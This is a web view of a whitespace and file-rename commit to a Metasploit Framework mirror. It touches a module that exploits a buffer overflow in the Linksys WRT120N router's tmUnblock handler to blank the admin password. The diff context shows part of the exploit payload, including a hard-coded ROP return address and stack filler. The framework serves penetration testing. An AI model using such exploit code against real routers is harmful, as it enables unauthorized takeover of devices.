infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

make msftidy happy

bug/bundler_fix
Michael Messner 2014-02-21 21:56:46 +01:00
parent c77fc034da
commit 1384150b7a
1 changed files with 5 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
modules/auxiliary/admin/http/linksys_tmUnblock_admin_reset_bof.rb → modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb
View File

@ -13,12 +13,12 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Linksys WRT120N Buffer Overflow in tmUnblock - Password Reset',
'Description' => %q{
This module exploits a buffer overflow vulnerability in the WRT120N Linksys router.
It is possible to reset the password of the management interface temporarily to an
This module exploits a buffer overflow vulnerability in the WRT120N Linksys router.
It is possible to reset the password of the management interface temporarily to an
empty value. It was tested on a WRT120N firmware version 1.0.07.
},
'Author' =>
[
'Author' =>
[
'Craig Heffner', #original exploit
'Michael Messner <devnull[at]s3cur1ty.de>' #metasploit module
],
@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
postdata << Rex::Text.rand_text_alpha(4) # Stack filler
postdata << "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2)
postdata << Rex::Text.rand_text_alpha(8) # Stack filler
(0..3).each do |i|
postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s0, don't care
postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s1, don't care